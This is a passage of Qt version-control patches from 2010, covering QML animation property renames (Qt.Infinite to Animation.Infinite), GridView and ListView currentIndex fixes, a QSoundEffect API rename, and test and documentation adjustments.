from: 500; to: 0; loops: Qt.Infinite; duration: 1000 } elide: "ElideRight" text: "Brevity is the soul of wit, and tediousness the limbs and outward flourishes.\x9CBrevity is a great charm of eloquence.\x9CBe concise!\x9CSHHHHHHHHHHHHHHHHHHHHHHHHHHHH" } diff --git a/tests/auto/declarative/visual/qdeclarativetextedit/cursorDelegate.qml b/tests/auto/declarative/visual/qdeclarativetextedit/cursorDelegate.qml index 176a5b8..f50aec6 100644 --- a/tests/auto/declarative/visual/qdeclarativetextedit/cursorDelegate.qml +++ b/tests/auto/declarative/visual/qdeclarativetextedit/cursorDelegate.qml @@ -10,7 +10,7 @@ import Qt 4.6 Rectangle { id:top; color: "black"; width: 3; height: 1; x: -1; y:0} Rectangle { id:bottom; color: "black"; width: 3; height: 1; x: -1; anchors.bottom: parent.bottom;} opacity: 1 - opacity: SequentialAnimation { running: cPage.parent.focus == true; repeat: true; + opacity: SequentialAnimation { running: cPage.parent.focus == true; loops: Qt.Infinite; NumberAnimation { properties: "opacity"; to: 1; duration: 500; easing.type: "InQuad"} NumberAnimation { properties: "opacity"; to: 0; duration: 500; easing.type: "OutQuad"} } diff --git a/tests/auto/declarative/visual/qdeclarativetextinput/cursorDelegate.qml b/tests/auto/declarative/visual/qdeclarativetextinput/cursorDelegate.qml index 6a4e7fa..7b981ac 100644 --- a/tests/auto/declarative/visual/qdeclarativetextinput/cursorDelegate.qml +++ b/tests/auto/declarative/visual/qdeclarativetextinput/cursorDelegate.qml @@ -10,7 +10,7 @@ import Qt 4.6 Rectangle { id:top; color: "black"; width: 3; height: 1; x: -1; y:0} Rectangle { id:bottom; color: "black"; width: 3; height: 1; x: -1; anchors.bottom: parent.bottom;} opacity: 1 - opacity: SequentialAnimation { running: cPage.parent.focus == true; repeat: true; + opacity: SequentialAnimation { running: cPage.parent.focus == true; loops: Qt.Infinite; NumberAnimation { properties: "opacity"; to: 1; duration: 500; easing.type: "InQuad"} NumberAnimation { properties: "opacity"; to: 0; duration: 500; easing.type: "OutQuad"} } diff --git a/tests/auto/declarative/visual/webview/zooming/renderControl.qml b/tests/auto/declarative/visual/webview/zooming/renderControl.qml index 49eb91b..406e156 100644 --- a/tests/auto/declarative/visual/webview/zooming/renderControl.qml +++ b/tests/auto/declarative/visual/webview/zooming/renderControl.qml @@ -10,7 +10,7 @@ Rectangle { width: 400 url: "renderControl.html" x: SequentialAnimation { - repeat: true + loops: Qt.Infinite NumberAnimation { from: 100; to: 0; duration: 200 } PropertyAction { target: webview; property: "renderingEnabled"; value: false } NumberAnimation { from: 0; to: -100; duration: 200 } diff --git a/tests/auto/declarative/visual/webview/zooming/resolution.qml b/tests/auto/declarative/visual/webview/zooming/resolution.qml index 8542768..57cc17b 100644 --- a/tests/auto/declarative/visual/webview/zooming/resolution.qml +++ b/tests/auto/declarative/visual/webview/zooming/resolution.qml @@ -8,7 +8,7 @@ WebView { url: "resolution.html" zoomFactor: SequentialAnimation { - repeat: true + loops: Qt.Infinite NumberAnimation { from: 1; to: 0.25; duration: 2000 } NumberAnimation { from: 0.25; to: 1; duration: 2000 } NumberAnimation { from: 1; to: 5; duration: 2000 } diff --git a/tests/auto/declarative/visual/webview/zooming/zoomTextOnly.qml b/tests/auto/declarative/visual/webview/zooming/zoomTextOnly.qml index c2e9348..f4c8aaa 100644 --- a/tests/auto/declarative/visual/webview/zooming/zoomTextOnly.qml +++ b/tests/auto/declarative/visual/webview/zooming/zoomTextOnly.qml @@ -8,7 +8,7 @@ WebView { settings.zoomTextOnly: true zoomFactor: SequentialAnimation { - repeat: true + loops: Qt.Infinite NumberAnimation { from: 2; to: 0.25; duration: 1000 } NumberAnimation { from: 0.25; to: 2; duration: 1000 } } -- cgit v0.12 From 8ea277d3dad350eae9778f1dc1169d9ec3f4c392 Mon Sep 17 00:00:00 2001 From: Martin Jones Date: Thu, 25 Mar 2010 10:16:50 +1000 Subject: Ensure currentIndex is updated when items inserted before currentIndex Was occurring when items inserted but no items had been created yet. Task-number: QTBUG-9313 --- src/declarative/graphicsitems/qdeclarativegridview.cpp | 17 +++++++++++++++-- src/declarative/graphicsitems/qdeclarativelistview.cpp | 17 +++++++++++++++-- 2 files changed, 30 insertions(+), 4 deletions(-) diff --git a/src/declarative/graphicsitems/qdeclarativegridview.cpp b/src/declarative/graphicsitems/qdeclarativegridview.cpp index afea4ea..2c27b6d 100644 --- a/src/declarative/graphicsitems/qdeclarativegridview.cpp +++ b/src/declarative/graphicsitems/qdeclarativegridview.cpp @@ -1083,8 +1083,9 @@ void QDeclarativeGridView::setCurrentIndex(int index) d->moveReason = QDeclarativeGridViewPrivate::SetIndex; cancelFlick(); d->updateCurrent(index); - } else { + } else if (index != d->currentIndex) { d->currentIndex = index; + emit currentIndexChanged(); } } @@ -1845,9 +1846,17 @@ void QDeclarativeGridView::trackedPositionChanged() void QDeclarativeGridView::itemsInserted(int modelIndex, int count) { Q_D(QDeclarativeGridView); + if (!isComponentComplete()) + return; if (!d->visibleItems.count() || d->model->count() <= 1) { d->scheduleLayout(); - d->updateCurrent(qMax(0, qMin(d->currentIndex, d->model->count()-1))); + if (d->currentIndex >= modelIndex) { + // adjust current item index + d->currentIndex += count; + if (d->currentItem) + d->currentItem->index = d->currentIndex; + emit currentIndexChanged(); + } emit countChanged(); return; } @@ -1971,6 +1980,8 @@ void QDeclarativeGridView::itemsInserted(int modelIndex, int count) void QDeclarativeGridView::itemsRemoved(int modelIndex, int count) { Q_D(QDeclarativeGridView); + if (!isComponentComplete()) + return; bool currentRemoved = d->currentIndex >= modelIndex && d->currentIndex < modelIndex + count; bool removedVisible = false; @@ -2061,6 +2072,8 @@ void QDeclarativeGridView::destroyRemoved() void QDeclarativeGridView::itemsMoved(int from, int to, int count) { Q_D(QDeclarativeGridView); + if (!isComponentComplete()) + return; QHash moved; bool removedBeforeVisible = false; diff --git a/src/declarative/graphicsitems/qdeclarativelistview.cpp b/src/declarative/graphicsitems/qdeclarativelistview.cpp index 4cf8117..ab82f3a 100644 --- a/src/declarative/graphicsitems/qdeclarativelistview.cpp +++ b/src/declarative/graphicsitems/qdeclarativelistview.cpp @@ -1491,8 +1491,9 @@ void QDeclarativeListView::setCurrentIndex(int index) d->moveReason = QDeclarativeListViewPrivate::SetIndex; cancelFlick(); d->updateCurrent(index); - } else { + } else if (index != d->currentIndex) { d->currentIndex = index; + emit currentIndexChanged(); } } @@ -2366,11 +2367,19 @@ void QDeclarativeListView::trackedPositionChanged() void QDeclarativeListView::itemsInserted(int modelIndex, int count) { Q_D(QDeclarativeListView); + if (!isComponentComplete()) + return; d->updateUnrequestedIndexes(); d->moveReason = QDeclarativeListViewPrivate::Other; if (!d->visibleItems.count() || d->model->count() <= 1) { d->scheduleLayout(); - d->updateCurrent(qMax(0, qMin(d->currentIndex, d->model->count()-1))); + if (d->currentIndex >= modelIndex) { + // adjust current item index + d->currentIndex += count; + if (d->currentItem) + d->currentItem->index = d->currentIndex; + emit currentIndexChanged(); + } emit countChanged(); return; } @@ -2500,6 +2509,8 @@ void QDeclarativeListView::itemsInserted(int modelIndex, int count) void QDeclarativeListView::itemsRemoved(int modelIndex, int count) { Q_D(QDeclarativeListView); + if (!isComponentComplete()) + return; d->moveReason = QDeclarativeListViewPrivate::Other; d->updateUnrequestedIndexes(); @@ -2598,6 +2609,8 @@ void QDeclarativeListView::destroyRemoved() void QDeclarativeListView::itemsMoved(int from, int to, int count) { Q_D(QDeclarativeListView); + if (!isComponentComplete()) + return; d->updateUnrequestedIndexes(); if (d->visibleItems.isEmpty()) { -- cgit v0.12 From edf7d8c450b1dbc55e10d68083e19e04366062ef Mon Sep 17 00:00:00 2001 From: Aaron Kennedy Date: Thu, 25 Mar 2010 10:27:37 +1000 Subject: Remove faulty assert - the precondition is checked for correctly later on Task-number: QTBUG-9336 --- src/declarative/qml/qdeclarativecompiler.cpp | 3 +-- .../declarative/qdeclarativelanguage/data/emptySignal.2.errors.txt | 1 + tests/auto/declarative/qdeclarativelanguage/data/emptySignal.2.qml | 7 +++++++ .../declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp | 4 +++- 4 files changed, 12 insertions(+), 3 deletions(-) create mode 100644 tests/auto/declarative/qdeclarativelanguage/data/emptySignal.2.errors.txt create mode 100644 tests/auto/declarative/qdeclarativelanguage/data/emptySignal.2.qml diff --git a/src/declarative/qml/qdeclarativecompiler.cpp b/src/declarative/qml/qdeclarativecompiler.cpp index e668553..c1f2fe6 100644 --- a/src/declarative/qml/qdeclarativecompiler.cpp +++ b/src/declarative/qml/qdeclarativecompiler.cpp @@ -1368,7 +1368,6 @@ bool QDeclarativeCompiler::buildSignal(QDeclarativeParser::Property *prop, QDecl const BindingContext &ctxt) { Q_ASSERT(obj->metaObject()); - Q_ASSERT(!prop->isEmpty()); QByteArray name = prop->name; Q_ASSERT(name.startsWith("on")); @@ -1387,7 +1386,7 @@ bool QDeclarativeCompiler::buildSignal(QDeclarativeParser::Property *prop, QDecl } else { if (prop->value || prop->values.count() != 1) - COMPILE_EXCEPTION(prop, QCoreApplication::translate("QDeclarativeCompiler","Incorrectly specified signal")); + COMPILE_EXCEPTION(prop, QCoreApplication::translate("QDeclarativeCompiler","Incorrectly specified signal assignment")); prop->index = sigIdx; obj->addSignalProperty(prop); diff --git a/tests/auto/declarative/qdeclarativelanguage/data/emptySignal.2.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/emptySignal.2.errors.txt new file mode 100644 index 0000000..8b20434 --- /dev/null +++ b/tests/auto/declarative/qdeclarativelanguage/data/emptySignal.2.errors.txt @@ -0,0 +1 @@ +4:5:Incorrectly specified signal assignment diff --git a/tests/auto/declarative/qdeclarativelanguage/data/emptySignal.2.qml b/tests/auto/declarative/qdeclarativelanguage/data/emptySignal.2.qml new file mode 100644 index 0000000..c84fea3 --- /dev/null +++ b/tests/auto/declarative/qdeclarativelanguage/data/emptySignal.2.qml @@ -0,0 +1,7 @@ +import Test 1.0 + +MyQmlObject { + onBasicSignal { + } +} + diff --git a/tests/auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp b/tests/auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp index 72b6b28..eae78c4 100644 --- a/tests/auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp +++ b/tests/auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp @@ -326,9 +326,11 @@ void tst_qdeclarativelanguage::errors_data() QTest::newRow("invalidAttachedProperty.10") << "invalidAttachedProperty.10.qml" << "invalidAttachedProperty.10.errors.txt" << false; QTest::newRow("invalidAttachedProperty.11") << "invalidAttachedProperty.11.qml" << "invalidAttachedProperty.11.errors.txt" << false; + QTest::newRow("emptySignal") << "emptySignal.qml" << "emptySignal.errors.txt" << false; + QTest::newRow("emptySignal.2") << "emptySignal.2.qml" << "emptySignal.2.errors.txt" << false; + QTest::newRow("nestedErrors") << "nestedErrors.qml" << "nestedErrors.errors.txt" << false; QTest::newRow("defaultGrouped") << "defaultGrouped.qml" << "defaultGrouped.errors.txt" << false; - QTest::newRow("emptySignal") << "emptySignal.qml" << "emptySignal.errors.txt" << false; QTest::newRow("doubleSignal") << "doubleSignal.qml" << "doubleSignal.errors.txt" << false; QTest::newRow("invalidRoot") << "invalidRoot.qml" << "invalidRoot.errors.txt" << false; QTest::newRow("missingValueTypeProperty") << "missingValueTypeProperty.qml" << "missingValueTypeProperty.errors.txt" << false; -- cgit v0.12 From 444e8812eec42abd2dcc5e47826f9a4793a34f66 Mon Sep 17 00:00:00 2001 From: Justin McPherson Date: Thu, 25 Mar 2010 10:32:03 +1000 Subject: Rename loopCount to loops, in line with other declarative elements. Reviewed-by: Dmytro Poplavskiy --- src/multimedia/effects/qsoundeffect.cpp | 10 +++++----- src/multimedia/effects/qsoundeffect_p.h | 8 ++++---- tests/auto/qsoundeffect/tst_qsoundeffect.cpp | 8 ++++---- 3 files changed, 13 insertions(+), 13 deletions(-) diff --git a/src/multimedia/effects/qsoundeffect.cpp b/src/multimedia/effects/qsoundeffect.cpp index 53cad8e..ed9ab3f 100644 --- a/src/multimedia/effects/qsoundeffect.cpp +++ b/src/multimedia/effects/qsoundeffect.cpp @@ -80,7 +80,7 @@ QT_BEGIN_NAMESPACE */ /*! - \qmlproperty int SoundEffect::loopCount + \qmlproperty int SoundEffect::loops This property provides a way to control the number of times to repeat the sound on each play(). */ @@ -104,7 +104,7 @@ QT_BEGIN_NAMESPACE */ /*! - \qmlsignal SoundEffect::loopCountChanged() + \qmlsignal SoundEffect::loopsChanged() This handler is called when the number of loops has changes. */ @@ -150,18 +150,18 @@ void QSoundEffect::setSource(const QUrl &url) emit sourceChanged(); } -int QSoundEffect::loopCount() const +int QSoundEffect::loops() const { return d->loopCount(); } -void QSoundEffect::setLoopCount(int loopCount) +void QSoundEffect::setLoops(int loopCount) { if (d->loopCount() == loopCount) return; d->setLoopCount(loopCount); - emit loopCountChanged(); + emit loopsChanged(); } int QSoundEffect::volume() const diff --git a/src/multimedia/effects/qsoundeffect_p.h b/src/multimedia/effects/qsoundeffect_p.h index ec6a2f7..05207a0 100644 --- a/src/multimedia/effects/qsoundeffect_p.h +++ b/src/multimedia/effects/qsoundeffect_p.h @@ -67,7 +67,7 @@ class Q_MULTIMEDIA_EXPORT QSoundEffect : public QObject { Q_OBJECT Q_PROPERTY(QUrl source READ source WRITE setSource NOTIFY sourceChanged) - Q_PROPERTY(int loopCount READ loopCount WRITE setLoopCount NOTIFY loopCountChanged) + Q_PROPERTY(int loops READ loops WRITE setLoops NOTIFY loopsChanged) Q_PROPERTY(int volume READ volume WRITE setVolume NOTIFY volumeChanged) Q_PROPERTY(bool muted READ isMuted WRITE setMuted NOTIFY mutedChanged) @@ -78,8 +78,8 @@ public: QUrl source() const; void setSource(const QUrl &url); - int loopCount() const; - void setLoopCount(int loopCount); + int loops() const; + void setLoops(int loopCount); int volume() const; void setVolume(int volume); @@ -89,7 +89,7 @@ public: Q_SIGNALS: void sourceChanged(); - void loopCountChanged(); + void loopsChanged(); void volumeChanged(); void mutedChanged(); diff --git a/tests/auto/qsoundeffect/tst_qsoundeffect.cpp b/tests/auto/qsoundeffect/tst_qsoundeffect.cpp index b918816..e76a4c5 100644 --- a/tests/auto/qsoundeffect/tst_qsoundeffect.cpp +++ b/tests/auto/qsoundeffect/tst_qsoundeffect.cpp @@ -72,7 +72,7 @@ void tst_QSoundEffect::initTestCase() sound = new QSoundEffect; QVERIFY(sound->source().isEmpty()); - QVERIFY(sound->loopCount() == 1); + QVERIFY(sound->loops() == 1); QVERIFY(sound->volume() == 100); QVERIFY(sound->isMuted() == false); #endif @@ -99,10 +99,10 @@ void tst_QSoundEffect::testSource() void tst_QSoundEffect::testLooping() { #ifndef QT_MULTIMEDIA_QMEDIAPLAYER - QSignalSpy readSignal(sound, SIGNAL(loopCountChanged())); + QSignalSpy readSignal(sound, SIGNAL(loopsChanged())); - sound->setLoopCount(5); - QCOMPARE(sound->loopCount(),5); + sound->setLoops(5); + QCOMPARE(sound->loops(),5); sound->play(); -- cgit v0.12 From 8acd9a9e2661032d831c45fe3724ae6398ad3856 Mon Sep 17 00:00:00 2001 From: Martin Jones Date: Thu, 25 Mar 2010 12:08:09 +1000 Subject: Make autotest work on windows. --- .../auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp b/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp index c3be943..a745a24 100644 --- a/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp +++ b/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp @@ -487,7 +487,9 @@ void tst_QDeclarativeLoader::deleteComponentCrash() void tst_QDeclarativeLoader::nonItem() { QDeclarativeComponent component(&engine, TEST_FILE("nonItem.qml")); - QTest::ignoreMessage(QtWarningMsg, "QML Loader (file://" SRCDIR "/data/nonItem.qml:3:1) Loader does not support loading non-visual elements."); + QString err = QString("QML Loader (") + QUrl::fromLocalFile(SRCDIR).toString() + QString("/data/nonItem.qml:3:1) Loader does not support loading non-visual elements."); + + QTest::ignoreMessage(QtWarningMsg, err.toLatin1().constData()); QDeclarativeLoader *loader = qobject_cast(component.create()); QVERIFY(loader); QVERIFY(loader->item() == 0); @@ -498,7 +500,8 @@ void tst_QDeclarativeLoader::nonItem() void tst_QDeclarativeLoader::vmeErrors() { QDeclarativeComponent component(&engine, TEST_FILE("vmeErrors.qml")); - QTest::ignoreMessage(QtWarningMsg, "(file://" SRCDIR "/data/VmeError.qml:6: Cannot assign object type QObject with no default method\n onSomethingHappened: QtObject {}) "); + QString err = QString("(") + QUrl::fromLocalFile(SRCDIR).toString() + QString("/data/VmeError.qml:6: Cannot assign object type QObject with no default method\n onSomethingHappened: QtObject {}) "); + QTest::ignoreMessage(QtWarningMsg, err.toLatin1().constData()); QDeclarativeLoader *loader = qobject_cast(component.create()); QVERIFY(loader); QVERIFY(loader->item() == 0); -- cgit v0.12 From 32d12fdb93ebc656020c3f9da945ed5386772282 Mon Sep 17 00:00:00 2001 From: Bea Lam Date: Thu, 25 Mar 2010 11:28:00 +1000 Subject: Skip tests for now --- .../declarative/qdeclarativelistmodel/tst_qdeclarativelistmodel.cpp | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/tests/auto/declarative/qdeclarativelistmodel/tst_qdeclarativelistmodel.cpp b/tests/auto/declarative/qdeclarativelistmodel/tst_qdeclarativelistmodel.cpp index 576fe21..fcb453c 100644 --- a/tests/auto/declarative/qdeclarativelistmodel/tst_qdeclarativelistmodel.cpp +++ b/tests/auto/declarative/qdeclarativelistmodel/tst_qdeclarativelistmodel.cpp @@ -290,6 +290,8 @@ void tst_QDeclarativeListModel::dynamic_worker_data() void tst_QDeclarativeListModel::dynamic_worker() { + QSKIP("", SkipAll); + QFETCH(QString, script); QFETCH(int, result); QFETCH(QString, warning); @@ -340,6 +342,7 @@ void tst_QDeclarativeListModel::dynamic_worker() void tst_QDeclarativeListModel::convertNestedToFlat_fail() { + QSKIP("", SkipAll); // If a model has nested data, it cannot be used at all from a worker script QFETCH(QString, script); @@ -384,6 +387,7 @@ void tst_QDeclarativeListModel::convertNestedToFlat_fail_data() void tst_QDeclarativeListModel::convertNestedToFlat_ok() { + QSKIP("", SkipAll); // If a model only has plain data, it can be modified from a worker script. However, // once the model is used from a worker script, it no longer accepts nested data -- cgit v0.12 From 4d078ed668541a4051f91b5c120b8cb0534129bd Mon Sep 17 00:00:00 2001 From: Michael Brasser Date: Thu, 25 Mar 2010 11:15:42 +1000 Subject: Doc fix. --- src/declarative/graphicsitems/qdeclarativegridview.cpp | 2 +- src/declarative/graphicsitems/qdeclarativelistview.cpp | 2 +- src/declarative/graphicsitems/qdeclarativepositioners.cpp | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/src/declarative/graphicsitems/qdeclarativegridview.cpp b/src/declarative/graphicsitems/qdeclarativegridview.cpp index 2c27b6d..de0cb04 100644 --- a/src/declarative/graphicsitems/qdeclarativegridview.cpp +++ b/src/declarative/graphicsitems/qdeclarativegridview.cpp @@ -927,7 +927,7 @@ QDeclarativeGridView::~QDeclarativeGridView() id: wrapper SequentialAnimation on GridView.onRemove { PropertyAction { target: wrapper.GridView; property: "delayRemove"; value: true } - NumberAnimation { target: wrapper; property: "scale"; to: 0; duration: 250; easing: "easeInOutQuad" } + NumberAnimation { target: wrapper; property: "scale"; to: 0; duration: 250; easing.type: "InOutQuad" } PropertyAction { target: wrapper.GridView; property: "delayRemove"; value: false } } } diff --git a/src/declarative/graphicsitems/qdeclarativelistview.cpp b/src/declarative/graphicsitems/qdeclarativelistview.cpp index ab82f3a..320a2f0 100644 --- a/src/declarative/graphicsitems/qdeclarativelistview.cpp +++ b/src/declarative/graphicsitems/qdeclarativelistview.cpp @@ -1331,7 +1331,7 @@ QDeclarativeListView::~QDeclarativeListView() id: wrapper SequentialAnimation on ListView.onRemove { PropertyAction { target: wrapper.ListView; property: "delayRemove"; value: true } - NumberAnimation { target: wrapper; property: "scale"; to: 0; duration: 250; easing: "easeInOutQuad" } + NumberAnimation { target: wrapper; property: "scale"; to: 0; duration: 250; easing.type: "InOutQuad" } PropertyAction { target: wrapper.ListView; property: "delayRemove"; value: false } } } diff --git a/src/declarative/graphicsitems/qdeclarativepositioners.cpp b/src/declarative/graphicsitems/qdeclarativepositioners.cpp index ded58f5..7a0d33a 100644 --- a/src/declarative/graphicsitems/qdeclarativepositioners.cpp +++ b/src/declarative/graphicsitems/qdeclarativepositioners.cpp @@ -385,7 +385,7 @@ Column { move: Transition { NumberAnimation { properties: "y" - easing: "easeOutBounce" + easing.type: "OutBounce" } } } -- cgit v0.12 From a20828a110ad35a7a98a6234ca0013203d9f8b61 Mon Sep 17 00:00:00 2001 From: Michael Brasser Date: Thu, 25 Mar 2010 12:09:59 +1000 Subject: Qt.Infinite -> Animation.Infinite Too misleading to have on the Qt object, as it only means infinite for animation loops. --- demos/declarative/flickr/common/Loading.qml | 2 +- .../photoviewer/PhotoViewerCore/BusyIndicator.qml | 2 +- demos/declarative/twitter/TwitterCore/Loading.qml | 2 +- doc/src/declarative/animation.qdoc | 2 +- .../declarative/animations/color-animation.qml | 10 +++---- .../declarative/animations/property-animation.qml | 2 +- .../border-image/content/MyBorderImage.qml | 4 +-- examples/declarative/effects/effects.qml | 4 +-- examples/declarative/fillmode/fillmode.qml | 2 +- examples/declarative/fonts/banner.qml | 2 +- examples/declarative/fonts/hello.qml | 4 +-- .../listview/content/ClickAutoRepeating.qml | 2 +- examples/declarative/parallax/qml/Smiley.qml | 2 +- examples/declarative/progressbar/progressbars.qml | 6 ++-- examples/declarative/tvtennis/tvtennis.qml | 2 +- .../declarative/webview/content/SpinSquare.qml | 2 +- src/declarative/QmlChanges.txt | 2 +- src/declarative/qml/qdeclarativedom.cpp | 4 +-- src/declarative/qml/qdeclarativeengine.cpp | 3 -- src/declarative/util/qdeclarativeanimation.cpp | 11 ++++--- src/declarative/util/qdeclarativeanimation_p.h | 3 ++ src/declarative/util/qdeclarativespringfollow.cpp | 2 +- src/declarative/util/qdeclarativeutilmodule.cpp | 35 +++++++++++++++++++++- .../qdeclarativeanimations/data/dontAutoStart.qml | 2 +- .../data/propertychangestest.qml | 2 +- .../qdeclarativeitem/data/propertychanges.qml | 2 +- .../data/propertychangestest.qml | 2 +- .../qdeclarativerepeater/data/properties.qml | 2 +- .../declarative/visual/animation/loop/loop.qml | 2 +- .../animation/pauseAnimation/pauseAnimation.qml | 2 +- .../content/MyBorderImage.qml | 4 +-- .../visual/qdeclarativeeasefollow/easefollow.qml | 2 +- .../visual/qdeclarativespringfollow/follow.qml | 2 +- .../visual/qdeclarativetext/elide/elide2.qml | 2 +- .../visual/qdeclarativetext/elide/multilength.qml | 2 +- .../visual/qdeclarativetextedit/cursorDelegate.qml | 2 +- .../qdeclarativetextinput/cursorDelegate.qml | 2 +- .../visual/webview/zooming/renderControl.qml | 2 +- .../visual/webview/zooming/resolution.qml | 2 +- .../visual/webview/zooming/zoomTextOnly.qml | 2 +- 40 files changed, 91 insertions(+), 55 deletions(-) diff --git a/demos/declarative/flickr/common/Loading.qml b/demos/declarative/flickr/common/Loading.qml index 87a4ef9..4c41717 100644 --- a/demos/declarative/flickr/common/Loading.qml +++ b/demos/declarative/flickr/common/Loading.qml @@ -3,6 +3,6 @@ import Qt 4.6 Image { id: loading; source: "pics/loading.png" NumberAnimation on rotation { - from: 0; to: 360; running: loading.visible == true; loops: Qt.Infinite; duration: 900 + from: 0; to: 360; running: loading.visible == true; loops: Animation.Infinite; duration: 900 } } diff --git a/demos/declarative/photoviewer/PhotoViewerCore/BusyIndicator.qml b/demos/declarative/photoviewer/PhotoViewerCore/BusyIndicator.qml index fc83766..361659c 100644 --- a/demos/declarative/photoviewer/PhotoViewerCore/BusyIndicator.qml +++ b/demos/declarative/photoviewer/PhotoViewerCore/BusyIndicator.qml @@ -5,5 +5,5 @@ Image { property bool on: false source: "images/busy.png"; visible: container.on - NumberAnimation on rotation { running: container.on; from: 0; to: 360; loops: Qt.Infinite; duration: 1200 } + NumberAnimation on rotation { running: container.on; from: 0; to: 360; loops: Animation.Infinite; duration: 1200 } } diff --git a/demos/declarative/twitter/TwitterCore/Loading.qml b/demos/declarative/twitter/TwitterCore/Loading.qml index e403b8d..957de0f 100644 --- a/demos/declarative/twitter/TwitterCore/Loading.qml +++ b/demos/declarative/twitter/TwitterCore/Loading.qml @@ -3,6 +3,6 @@ import Qt 4.6 Image { id: loading; source: "images/loading.png" NumberAnimation on rotation { - from: 0; to: 360; running: loading.visible == true; loops: Qt.Infinite; duration: 900 + from: 0; to: 360; running: loading.visible == true; loops: Animation.Infinite; duration: 900 } } diff --git a/doc/src/declarative/animation.qdoc b/doc/src/declarative/animation.qdoc index 00993f0..9969e8f 100644 --- a/doc/src/declarative/animation.qdoc +++ b/doc/src/declarative/animation.qdoc @@ -72,7 +72,7 @@ Rectangle { x: 60-img.width/2 y: 0 SequentialAnimation on y { - loops: Qt.Infinite + loops: Animation.Infinite NumberAnimation { to: 200-img.height; easing.type: "OutBounce"; duration: 2000 } PauseAnimation { duration: 1000 } NumberAnimation { to: 0; easing.type: "OutQuad"; duration: 1000 } diff --git a/examples/declarative/animations/color-animation.qml b/examples/declarative/animations/color-animation.qml index 5d313c1..d8361ba 100644 --- a/examples/declarative/animations/color-animation.qml +++ b/examples/declarative/animations/color-animation.qml @@ -12,7 +12,7 @@ Item { GradientStop { position: 0.0 SequentialAnimation on color { - loops: Qt.Infinite + loops: Animation.Infinite ColorAnimation { from: "DeepSkyBlue"; to: "#0E1533"; duration: 5000 } ColorAnimation { from: "#0E1533"; to: "DeepSkyBlue"; duration: 5000 } } @@ -20,7 +20,7 @@ Item { GradientStop { position: 1.0 SequentialAnimation on color { - loops: Qt.Infinite + loops: Animation.Infinite ColorAnimation { from: "SkyBlue"; to: "#437284"; duration: 5000 } ColorAnimation { from: "#437284"; to: "SkyBlue"; duration: 5000 } } @@ -32,7 +32,7 @@ Item { Item { width: parent.width; height: 2 * parent.height transformOrigin: Item.Center - NumberAnimation on rotation { from: 0; to: 360; duration: 10000; loops: Qt.Infinite } + NumberAnimation on rotation { from: 0; to: 360; duration: 10000; loops: Animation.Infinite } Image { source: "images/sun.png"; y: 10; anchors.horizontalCenter: parent.horizontalCenter transformOrigin: Item.Center; rotation: -3 * parent.rotation @@ -46,7 +46,7 @@ Item { source: "images/star.png"; angleDeviation: 360; velocity: 0 velocityDeviation: 0; count: parent.width / 10; fadeInDuration: 2800 SequentialAnimation on opacity { - loops: Qt.Infinite + loops: Animation.Infinite NumberAnimation { from: 0; to: 1; duration: 5000 } NumberAnimation { from: 1; to: 0; duration: 5000 } } @@ -60,7 +60,7 @@ Item { GradientStop { position: 0.0 SequentialAnimation on color { - loops: Qt.Infinite + loops: Animation.Infinite ColorAnimation { from: "ForestGreen"; to: "#001600"; duration: 5000 } ColorAnimation { from: "#001600"; to: "ForestGreen"; duration: 5000 } } diff --git a/examples/declarative/animations/property-animation.qml b/examples/declarative/animations/property-animation.qml index d33b55d..401feb5 100644 --- a/examples/declarative/animations/property-animation.qml +++ b/examples/declarative/animations/property-animation.qml @@ -43,7 +43,7 @@ Item { // Animate the y property. Setting repeat to true makes the // animation repeat indefinitely, otherwise it would only run once. SequentialAnimation on y { - loops: Qt.Infinite + loops: Animation.Infinite // Move from minHeight to maxHeight in 300ms, using the OutExpo easing function NumberAnimation { diff --git a/examples/declarative/border-image/content/MyBorderImage.qml b/examples/declarative/border-image/content/MyBorderImage.qml index bd0f5fb..f0c3cfc 100644 --- a/examples/declarative/border-image/content/MyBorderImage.qml +++ b/examples/declarative/border-image/content/MyBorderImage.qml @@ -18,13 +18,13 @@ Item { id: image; x: container.width / 2 - width / 2; y: container.height / 2 - height / 2 SequentialAnimation on width { - loops: Qt.Infinite + loops: Animation.Infinite NumberAnimation { from: container.minWidth; to: container.maxWidth; duration: 2000; easing.type: "InOutQuad"} NumberAnimation { from: container.maxWidth; to: container.minWidth; duration: 2000; easing.type: "InOutQuad" } } SequentialAnimation on height { - loops: Qt.Infinite + loops: Animation.Infinite NumberAnimation { from: container.minHeight; to: container.maxHeight; duration: 2000; easing.type: "InOutQuad"} NumberAnimation { from: container.maxHeight; to: container.minHeight; duration: 2000; easing.type: "InOutQuad" } } diff --git a/examples/declarative/effects/effects.qml b/examples/declarative/effects/effects.qml index 45246a9..2280a2a 100644 --- a/examples/declarative/effects/effects.qml +++ b/examples/declarative/effects/effects.qml @@ -16,7 +16,7 @@ Rectangle { running: false from: 0; to: 10 duration: 1000 - loops: Qt.Infinite + loops: Animation.Infinite } } @@ -33,7 +33,7 @@ Rectangle { effect: DropShadow { blurRadius: 3 offset.x: 3 - NumberAnimation on offset.y { id: dropShadowEffect; from: 0; to: 10; duration: 1000; running: false; loops: Qt.Infinite; } + NumberAnimation on offset.y { id: dropShadowEffect; from: 0; to: 10; duration: 1000; running: false; loops: Animation.Infinite; } } MouseArea { anchors.fill: parent; onClicked: dropShadowEffect.running = !dropShadowEffect.running } diff --git a/examples/declarative/fillmode/fillmode.qml b/examples/declarative/fillmode/fillmode.qml index effb964..3f2020c 100644 --- a/examples/declarative/fillmode/fillmode.qml +++ b/examples/declarative/fillmode/fillmode.qml @@ -5,7 +5,7 @@ Image { height: 250 source: "face.png" SequentialAnimation on fillMode { - loops: Qt.Infinite + loops: Animation.Infinite PropertyAction { value: Image.Stretch } PropertyAction { target: label; property: "text"; value: "Stretch" } PauseAnimation { duration: 1000 } diff 